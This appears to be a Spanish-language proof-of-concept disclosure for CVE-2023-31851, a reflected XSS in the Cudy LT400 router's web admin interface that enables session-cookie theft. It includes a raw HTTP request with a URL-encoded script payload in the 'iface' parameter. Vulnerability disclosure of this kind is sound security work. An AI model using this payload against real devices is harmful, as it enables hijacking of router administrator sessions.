calfcrusher/cve-2023-31851Prueba de concepto para XSS reflejado en la interfaz web de Cudy LT400, que demuestra el robo de cookies de sesión y la toma de control del administrador mediante solicitudes manipuladas.
Existe un ataque de cross-site scripting (XSS) reflejado en la interfaz de gestión web de Cudy LT400.
La página /cgi-bin/luci/admin/network/wireless/status tiene XSS reflejado a través del parámetro iface.
Los métodos de explotación implicarían enviar una solicitud especialmente diseñada a la víctima que incluye código malicioso.
La aplicación afectada no establece la Cookie de Sesión con el atributo HttpOnly; esto puede resultar en la toma de control del administrador mediante el robo del token de sesión.
Versiones de firmware vulnerables: 1.13.4 - 1.15.18 - 1.15.27
GET /cgi-bin/luci/admin/network/wireless/status?iface=wlan00%22%29%27%20href%3D%22javascript%3Aalert%28document.cookie%29%3B%22%3Exss%3C%2Fa%3E HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology